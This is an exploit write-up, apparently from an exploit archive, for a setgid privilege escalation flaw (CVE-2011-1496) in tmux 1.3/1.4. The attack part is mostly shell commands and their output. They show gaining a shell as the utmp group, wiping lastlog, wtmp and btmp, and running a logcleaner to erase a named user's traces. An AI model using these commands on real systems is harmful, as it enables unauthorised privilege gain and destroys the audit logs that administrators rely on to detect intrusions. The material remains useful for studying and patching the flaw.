tmux '-S' Option Incorrect SetGID Privilege Escalation Vulnerability
2011-04-11 16:15:07---------------------------------------
| Team ph0x90bic proudly presents |
| tmux -S 1.3/1.4 local utmp exploit |
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# Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability
# Date: 11.04.2011
# Author: ph0x90bic
# Software Link: http://tmux.sourceforge.net/
# Version: 1.3/1.4
# Tested on: Linux debian 2.6.26-1-686
# CVE : CVE-2011-1496
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INTRODUCTION
tmux 1.3/1.4 contains a privilege escalation vulnerabillity,
which gives you utmp group privileges. This bug is important,
because it is possible to clean logfiles and use logcleaners
for btmp, wtmp and lastlog without local root access.
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EXPLOIT
Execute shell as utmp group
$ tmux -S /tmp/.whateveryouwant -c id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)
$ tmux -S /tmp/.whateveryouwant -c /bin/sh
$ id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)
--
Delete logfiles
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'
--
Use logcleaner software
$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username
Fixes
No fixesIn order to submit a new fix you need to be registered.